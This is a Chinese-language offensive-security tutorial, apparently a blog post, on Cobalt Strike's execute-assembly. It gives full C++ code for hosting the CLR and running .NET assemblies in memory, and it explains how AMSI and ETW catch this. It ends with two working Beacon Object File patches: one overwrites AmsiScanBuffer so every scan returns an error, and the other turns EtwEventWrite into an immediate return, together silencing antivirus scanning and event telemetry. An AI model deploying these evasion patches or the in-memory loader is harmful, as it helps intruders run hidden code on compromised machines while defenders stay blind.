简介
"execute-assembly"是Cobalt Strike的一项功能,它允许你在Cobalt Strike的Beacon控制的目标机器上直接执行.NET程序集(Assembly)。
具体来说,这个功能通过在目标机器的内存中加载.NET程序集并执行它,而不需要将程序集写入到磁盘。这种在内存中执行程序的方法也被称为"文件无(fileless)"攻击,因为它能避免在磁盘上留下可疑的文件,从而绕过某些基于文件扫描的防御手段。
使用"execute-assembly"功能时,你需要提供要执行的.NET程序集的本地路径,然后Cobalt Strike会将这个程序集上传到目标机器的内存中并执行它。你还可以为这个程序集提供命令行参数。
这个功能的一个强大之处在于,.NET程序集可以使用C#编写,而C#提供了对Windows API的广泛访问,这使得你可以在目标机器上执行一系列复杂的操作
不过使用execute-assembly
时,CobaltStrike创建一个新的进程来加载并执行.NET程序集,这其实可以看作是一种fork&run模式,因为它会“分叉”出一个新的进程来运行.NET程序集,且这种行为十分容易被杀软检测到
这是一个针对execute-assembly
改良的项目:https://github.com/anthemtotheego/InlineExecute-Assembly
该项目的优点是,它会在beacon的当前进程中加载并执行.NET程序集,而没有创建新的进程,这种方法更加的隐蔽,但是如果.NET程序集出现问题,那么可能会导致整个beacon进程崩溃
实现原理
execute-assembly
功能的实现,必须使用一些来自.NET Framework的核心接口来执行.NET程序集口,分别是分别是ICLRRuntimeHost
、ICLRRuntimeInfo
以及ICLRMetaHost
,以下是这三个接口的简要描述
ICLRMetaHost: 这个接口用于在托管代码中获取关于加载的CLR(Common Language Runtime,.NET Framework的核心组件)的信息。基本上,它提供了一个入口点,允许我们枚举加载到进程中的所有CLR版本,并为特定版本的CLR获取ICLRRuntimeInfo
接口。
ICLRRuntimeInfo: 一旦你有了表示特定CLR版本的ICLRRuntimeInfo
接口,你可以用它来获取CLR运行时的其他接口,例如ICLRRuntimeHost
。这个接口还允许你判断这个特定版本的CLR是否已经被加载到进程中。
ICLRRuntimeHost: 这是执行.NET程序集所必需的主要接口。通过这个接口,你可以启动托管代码的执行环境,加载.NET程序集,并执行它。具体来说,它的ExecuteInDefaultAppDomain
方法可以用来加载和执行.NET程序集。
综上所述,要在非托管代码(如C++)中执行.NET程序集,你需要首先使用ICLRMetaHost
来确定哪个CLR版本已加载或可用。然后,你可以使用ICLRRuntimeInfo
来为这个CLR版本获取ICLRRuntimeHost
。最后,使用ICLRRuntimeHost
来加载和执行.NET程序集。
如下代码是一个使用C++编写的Windows程序,用于在内存中加载并执行一个名为CSharp.exe
的.NET程序集,主要分为以下四个步骤:
加载CLR环境: 这是整个过程的第一步,因为要运行.NET代码,你需要.NET运行时环境。CLR(Common Language Runtime)是.NET Framework的心脏,它提供了执行.NET代码所需的所有功能。Cobalt Strike首先需要初始化或加载CLR环境以便在其上运行程序集。这通常涉及到确定哪个CLR版本(例如.NET 2.0、4.0等)可用或已加载,并准备它以供使用。
获取程序域: 在.NET中,应用程序域(AppDomains)是一个轻量级的进程,它提供了运行应用程序的隔离环境。每个.NET应用程序至少有一个默认的应用程序域,但可以创建更多的应用程序域以隔离执行的代码。通过获取程序域,Cobalt Strike可以确保在安全的、隔离的环境中加载并执行程序集。
装载程序集: 一旦设置了适当的环境并获取了程序域,Cobalt Strike将需要加载(或注入)所需的.NET程序集到这个程序域。这一步涉及到在内存中创建.NET程序集的实例,这样它就可以被执行了。
执行程序集: 加载程序集后,Cobalt Strike将触发其执行。这通常涉及到调用程序集中的一个特定方法或函数,这个方法可能是程序集的入口点或某个特定的功能函数
#include <stdio.h>
#include <tchar.h>
#include <metahost.h>
// 导入 .NET Framework 的 mscorlib 所需的类型库,用于与.NET组件交互
#import "mscorlib.tlb" raw_interfaces_only
high_property_prefixes("_get","_put","_putref")
rename("ReportEvent", "InteropServices_ReportEvent")
rename("or", "InteropServices_or")
using namespace mscorlib;
// 连接到MSCorEE库,它提供了启动CLR的功能
#pragma comment(lib, "MSCorEE.lib")
int _tmain(int argc, _TCHAR* argv[])
{
// 读取磁盘上的.NET程序集
HANDLE hFile = CreateFileA("CSharp.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (NULL == hFile) return 0;
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == 0) return 0;
PVOID dotnetRaw = malloc(dwFileSize);
memset(dotnetRaw, 0, dwFileSize);
DWORD dwReturn = 0;
if (ReadFile(hFile, dotnetRaw, dwFileSize, &dwReturn, NULL) == FALSE) return 0;
// .NET Framework的接口声明
ICLRMetaHost* iMetaHost = NULL;
ICLRRuntimeInfo* iRuntimeInfo = NULL;
ICorRuntimeHost* iRuntimeHost = NULL;
IUnknownPtr pAppDomain = NULL;
_AppDomainPtr pDefaultAppDomain = NULL;
_AssemblyPtr pAssembly = NULL;
_MethodInfoPtr pMethodInfo = NULL;
SAFEARRAYBOUND saBound[1];
void* pData = NULL;
VARIANT vRet;
VARIANT vObj;
VARIANT vPsa;
SAFEARRAY* args = NULL;
// 初始化.NET 4.0运行时
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
iRuntimeHost->Start();
// 获取默认的程序域
iRuntimeHost->GetDefaultDomain(&pAppDomain);
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
// 创建一个安全数组,用于存储.NET程序集
saBound[0].cElements = dwFileSize;
saBound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
// 将.NET程序集数据复制到安全数组
SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, dotnetRaw, dwFileSize);
SafeArrayUnaccessData(pSafeArray);
// 使用默认程序域加载.NET程序集
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
// 获取程序集的入口点
pAssembly->get_EntryPoint(&pMethodInfo);
ZeroMemory(&vRet, sizeof(VARIANT));
ZeroMemory(&vObj, sizeof(VARIANT));
vObj.vt = VT_NULL;
// 设置参数,并调用.NET程序集的入口点方法
vPsa.vt = (VT_ARRAY | VT_BSTR);
args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (argc > 1)
{
vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
for (long i = 0; i < argc; i++)
{
SafeArrayPutElement(vPsa.parray, &i, SysAllocString((OLECHAR*)argv[i]));
}
long idx[1] = { 0 };
SafeArrayPutElement(args, idx, &vPsa);
}
pMethodInfo->Invoke_3(vObj, args, &vRet);
// 释放所有的COM对象
pMethodInfo->Release();
pAssembly->Release();
pDefaultAppDomain->Release();
iRuntimeInfo->Release();
iMetaHost->Release();
CoUninitialize();
getchar();
return 0;
};
简单演示
首先使用VisualStudio创建一个控制台应用(.Net Framework)
如下C#代码用于在控制台输出参数:
using System;
namespace HelloWorldApp
{
class Program
{
static void Main(string[] args)
{
string name;
if (args.Length > 0)
{
name = args[0];
Console.WriteLine($"你好, {name}!");
}
else
{
Console.WriteLine("没有提供命令行参数。请输入您的名字:");
}
}
}
}
上述代码生成可执行程序后,可在CobaltStrike的beacon命令行使用execute-assembly
来将其执行
检测分析
使用ProcessHacker查看powershell进程可以发现其加载了CLR环境,这是因为PowerShell是基于.NET Framework构建的。
查看Powershell的模块调用可发现,它不仅调用了clr.dll,还调用了amsi.dll。
amsi是微软提供的一个接口,旨在允许应用程序和服务与已安装的杀毒或反恶意软件解决方案进行互动,从而提供更好的保护。其中最关键的函数当属AmisiScanBuffer,AmsiScanBuffer函数可以检测内存中的恶意内容,这对于检测那些可能在运行时生成或修改其代码的恶意软件特别有用,例如某些脚本或文件less的恶意软件
不过现在国内大多数杀软都没有集成amsi的功能,而且现在amsi还是相对容易绕过的
当我们使用上述github项目的来加载.net程序集时,再通过processexp查看beacon的进程,可以发现在.NET Assemblies
处还是会有一些敏感信息的,而这些敏感信息被ETW检测出来的
当patch etw
后就查看不到任何信息了
bypass etw
后还是有可能会被amsi检测到的, 这是因为你的beacon进程加载了CLR环境, 这使得要加载进去的.NET程序集更容易受到amsi的检测,也就是说,你还得将amsi也bypass掉
Amsi和Etw的bypass
如下bof代码用于实现绕过amsi检测,实现原理是将amsi.dll里的关键函数AmsiScanBuffer
给ret掉
void go(char* buff, int len) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Failed to load amsi.dll");
return;
}
FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi,"AmsiScanBuffer");
if (pAmsiScanBuffer == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Failed to get AmsiScanBuffer address");
return;
}
DWORD oldProtect;
// 修改AmsiScanBuffer函数的内存保护属性
if (VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect))
{
// 准备新的硬编码
unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// 将新的函数字节码复制到AmsiScanBuffer函数的地址
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
BeaconPrintf(CALLBACK_OUTPUT, "Amsi Patch Success!");
}
else
{
BeaconPrintf(CALLBACK_ERROR, "Failed to change memory protection");
}
}
上述代码提到的硬编码 { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }
对应的汇编指令如下:
B8 57 00 07 80 mov eax, 0x80070057
C3 ret
他将立即数值0x80070057
移动到eax
寄存器中。这个值是一个常见的Windows错误代码,表示“参数错误”
总的来说, 这段代码的目的是将一个特定的错误代码放入eax
寄存器,并立即返回。这在绕过AMSI的上下文中为了使AMSI的扫描函数始终返回一个表示扫描失败的值
以下代码实现绕过ETW的检测,和bypassAmsi原理一样,这里将ETW的关键函数EtwEventWrite
给ret掉了
void go(char* buff, int len) {
#ifdef _M_AMD64
SIZE_T length = 1;
char patch[] = { 0xc3 };
#elif defined(_M_IX86)
SIZE_T length = 3;
char patch[] = { 0xc2,0x14,0x00 };
#endif
HMODULE hAmsi = LoadLibraryA("ntdll.dll");
if (hAmsi == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Failed to load ntdll.dll");
return;
}
FARPROC pEtwEventWrite = GetProcAddress(hAmsi,"EtwEventWrite");
if (pEtwEventWrite == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Failed to get EtwEventWrite address");
return;
}
DWORD oldProtect;
// 修改EtwEventWrite函数的内存保护属性
if (VirtualProtect(pEtwEventWrite, 6, PAGE_EXECUTE_READWRITE, &oldProtect))
{
// 将新的函数字节码复制到AmsiScanBuffer函数的地址
memcpy(pEtwEventWrite, patch, length);
BeaconPrintf(CALLBACK_OUTPUT, "Etw Patch Success!");
}
else
{
BeaconPrintf(CALLBACK_ERROR, "Failed to change memory protection");
}
}
参考链接
https://www.secpulse.com/archives/198531.html
https://www.anquanke.com/post/id/220456